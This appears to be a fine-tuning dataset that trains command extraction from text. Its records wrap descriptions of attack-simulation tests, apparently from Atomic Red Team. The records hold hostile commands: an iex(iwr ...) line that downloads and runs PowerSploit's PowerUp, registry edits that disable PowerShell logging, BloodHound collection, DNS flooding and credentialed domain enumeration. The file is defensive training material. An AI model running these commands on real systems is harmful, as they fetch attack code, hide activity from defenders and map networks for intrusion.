    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test sends progressively longer DoH queries to evaluate detection thresholds, which can be executed with this command: Set-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}",
    "output": "{\"command_list\": [\"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can modify the registry settings to turn off PowerShell logging features by executing these commands: reg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /f >nul 2>&1",
    "output": "{\"command_list\": [\"reg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\\nreg delete HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /f >nul 2>&1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To search through shell history for specific commands, use the following command: cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\n",
    "output": "{\"command_list\": [\"cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can spawn PowerShell.exe by running an arbitrary response file with this command:\ncd \"#{rsp_file_path}\"\nodbcconf.exe -f \"#{rsp_file_name}\"\n",
    "output": "{\"command_list\": [\"cd \\\"#{rsp_file_path}\\\"\\nodbcconf.exe -f \\\"#{rsp_file_name}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test triggers threshold-based detection by flooding DNS servers with queries, executed via this command that needs domain inputs: for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \"#{query_type}\" \"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\" -QuickTimeout}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \\\"#{query_type}\\\" \\\"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\\\" -QuickTimeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate all accounts in the domain, the following commands will be executed and their output displayed in the PowerShell session: net user /domain\nnet group /domain",
    "output": "{\"command_list\": [\"net user /domain\\nnet group /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test enumerates domain accounts via LDAPDomainDump, executing the command: ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087",
    "output": "{\"command_list\": [\"ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 